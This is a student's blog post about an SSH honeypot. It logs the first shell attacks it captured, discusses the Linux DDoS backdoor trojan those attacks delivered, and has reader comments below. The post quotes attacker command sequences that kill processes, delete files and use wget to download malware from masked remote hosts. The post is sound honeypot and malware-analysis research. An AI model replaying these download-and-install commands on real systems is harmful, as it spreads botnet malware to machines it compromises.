Last week I implemented a basic shell CLI (command-line interface) emulator to the honeypot. The emulator isn't interactive since it doesn't respond to any commands. However, it does log all entered commands.
This week the honeypot has seen its first attack on the shell CLI emulator. As expected, once authorised (with the password "123456" and username "root"), the attacker tried to upload a trojan horse to the honeypot using the wget command.
The challenge for the upcoming weeks is to analyse the uploaded code to see what it actually does. More on that later.
The first shell attack came in on Saturday 16th November 2013 at 14:00:23 and is shown below. I've masked the attackers IP address to keep identities anonymous.
|Sat 16 Nov 2013, 14:00:23||61.***.**.***||killall disknyp|
|Sat 16 Nov 2013, 14:00:24||61.***.**.***||killall disknop|
|Sat 16 Nov 2013, 14:00:25||61.***.**.***||rm -f disknyp|
|Sat 16 Nov 2013, 14:00:26||61.***.**.***||rm -f disknop|
|Sat 16 Nov 2013, 14:00:27||61.***.**.***||wget http://198.*.***.***:22/disknyp|
The log shows that the attacker first enters the command killall disknyp at 14:00:23, followed by the command killall disknop at 14:00:24. As stated in the linux manual (man killall) the killall command: "is used to kill (i.e., terminate) all processes (i.e., running instances of programs) associated with programs whose names are provided to it as arguments".
So the attacker starts her attack by killing all processes named disknyp and disknop. The attacker then executes the commands rm -f disknyp and rm -f disknop. The
At this point the attacker has stopped all processes named disknyp and disknop and then removed the files named disknyp and disknop. Finally, at 14:00:27, the command wget http://198.*.***.***:22/disknyp is executed. The wget command (linux man wget) simply downloads a remote file. In this case the wget command is used to download the file located at http://198.*.***.***:22/disknyp (remember I've masked the IP address to keep identities anonymous).
So what is the file disknyp and what does it do? I Googled around and found an analysis of the file at malwr.com and virustotal.com. The analysis reveals that the file contains a virus, labelled by DrWeb as Linux.DDoS.1 and by F-Secure as Backdoor:Linux/DDoS.B.
According to Microsoft Protection Center, Backdoor:Linux/DDoS.B is summarised as: "...a backdoor trojan. A backdoor trojan provides remote, usually surreptitious, access to affected systems. A backdoor trojan may be used to conduct distributed denial of service (DDoS) attacks, or it may be used to install additional trojans or other forms of malicious software. For example, it might be used to install a downloader or dropper trojan, which may in turn install a proxy trojan used to relay spam or a keylogger trojan which monitors and sends keystrokes to remote attackers. It might also open ports on the affected system and thus potentially lead to further compromise by other attackers".
What's most interesting about the attack is that it looks very much like an automated process (or script) entered the commands. When you look at the timings they're only seconds apart: 14:00:23, 14:00:24, 14:00:25, 14:00:26 and 14:00:27. Also, the exact same attack occurs again three and a half hours later:
|Sat 16 Nov 2013, 17:30:33||61.***.**.***||killall disknyp|
|Sat 16 Nov 2013, 17:30:34||61.***.**.***||killall disknop|
|Sat 16 Nov 2013, 17:30:35||61.***.**.***||rm -f disknyp|
|Sat 16 Nov 2013, 17:30:36||61.***.**.***||rm -f disknop|
|Sat 16 Nov 2013, 17:30:37||61.***.**.***||wget http://198.*.***.***:22/disknyp|
So the attack looks like a script which is programmed to login to remote shells and execute the same command which uploads a trojan and, presumably, turns that host into a bot.
Another attack, from a different IP, came in on Monday 18th November 2013 at 19:08:56 and is shown below. Again, IP addresses have been masked to maintain anonymous identities.
|Mon 18 Nov 2013, 19:08:56||218.**.***.***||wget http://117.**.***.***:8080/zymoran|
|Mon 18 Nov 2013, 19:09:06||218.**.***.***||wget http://117.**.***.***:8080/zymoran|
|Mon 18 Nov 2013, 19:09:11||218.**.***.***||netuname -a|
|Mon 18 Nov 2013, 19:09:19||218.**.***.***||uname -a|
What's intersting about this attack is that the timing look a little more human. The command wget http://117.**.***.***:8080/zymoran is entered at 19:08:56. At this point the attacker is presumably waiting for wget to fetch the remote file. Ten seconds later, at 19:09:06, the same command is entered again.
Presumably the attacker is a little confused at this point since the emulated shell CLI is currently not interactive: nothing is being printed to the attackers screen other than a prompt for the next command. So the attacker enters the command netuname -a which looks like a typeo. Finally the command uname -a is entered (linux man uname) which should print system information, for example:
Linux charles 3.2.0-41-generic-pae #66-Ubuntu SMP Thu Apr 25 03:50:20 UTC 2013 i686 i686 i386 GNU/Linux
However, the honeypot isn't currently interactive so the command doesn't return anything to the attacker. At this point, since the attacker isn't getting anything from the honeypot, she leaves.
Another interesting observation of the log files this week is that many attackers have been entering the correct username and password ("root" and "123456"). However, most of these attackers aren't requesting a pseudo-terminal (RFC 525, section 6.2. Requesting a Pseudo-Terminal). Instead, the attacker just disconnects.
The first shell attack I received on Saturday (described earlier in this post) used this exact tactic: the attacker used a brute-force attempt to find the correct username and password, didn't request a pseudo terminal and disconnected. Then later, they logged in (with a pseudo terminal request) and started the shell attack at 14:00:23.
I'm assuming that most login attempts on the honeypot are from automated scripts which brute-force SSH connections until they find a working username and password. These usernames and passwords are probably then logged for later attacks (as seen above).
I've Googled around and found various resources which analyse some of the malware I've received. But to really find out what's going on I want to dynamically analyse the malware as it's executing.
This week I contacted Dr Lorenzo Cavallaro from the Information Security Group (Royal Holloway, University of London) to ask advice on how best to execute the uploaded malware in a safe environment in order to dynamically analyse it. A big thank you to Lorenzo for pointing me in the right direction of the tools: Cuckoo, Honeywall and Sebek :) I shall be exploring them this week.
I also attended a fascinating lecture on Wednesday evening presented by Dr Lorenzo Cavallaro at the Royal Holloway, University of London campus entitled "Malicious Software: should we care?".
In the talk, Lorenzo outlined research on the Torpig botnet (Researchers hijack control of Torpig botnet): the research used a technique known as sinkholing by reverse engineering the DGA (domain generation algorithm) of Torpig (used for domain flux).
As a result: the research team were able to see inside the Torpig botnet and collect information from its various attacks. The research paper entitled "Your Botnet is My Botnet: Analysis of a Botnet Takeover" can be viewed here. Fascinating research which has inspired me.
This past week I've also been engrossed in the book "Hacking: The Art of Exploitation" by Jon Erickson. The book introduces the term "hacking" and "uses practical examples to illustrate the most common computer security issues in three related fields: programming, networking and cryptography". The book has been incredibly insightful to explore how C code is compiled along with it's architecture (which relates to the Compilers and Computer Architecture module I took last year at uni) and where vulnerabilities can be found - very useful for this project.
Image credit: "W1K - Bronze Horse - Bronze Age Trojan Horse (2011)" by vintagedept, flickr.com/photos/vintagedept/9501085229
Tue, 03 Dec 2013 15:44:44 +0000
Hey - we are also analysing this particular binary after a similar intrustion! Seems to be a botnet, connects back to source and waits for cmds!
Wed, 04 Dec 2013 15:29:37 +0000
Hi Gareth, thanks for mentioning your similar intrusion. Could you share some more information about the intrusion you've experienced and your analysis?
Sun, 15 Dec 2013 14:26:58 +0000
Why are you masking their identity?
Sun, 15 Dec 2013 16:54:10 +0000
Hi John, thanks for the question. I'm masking the attackers identities to ensure the project complies with the BCS Code of Conduct section 1: Public Interest and the Data Protection Act 1998, as discussed in the interim report (see publications).
Sat, 28 Dec 2013 11:53:12 +0000
Hello, i have made a basic reverse of this malware, you can look at http://remchp.com/blog/?p=52
Wed, 08 Jan 2014 10:00:59 +0000
Hi futex, thanks for sharing your reverse engineering of the malware.
|date range||# attempts|
|past 7 days||4,426|
|past 30 days||17,357|
Stats represent data collected from SSH login attempts on multiple honeypots. Parts of some stats may be filtered to maintain anonymity.
Updated: Tue, 07 Jun 2016 16:33:48 +0000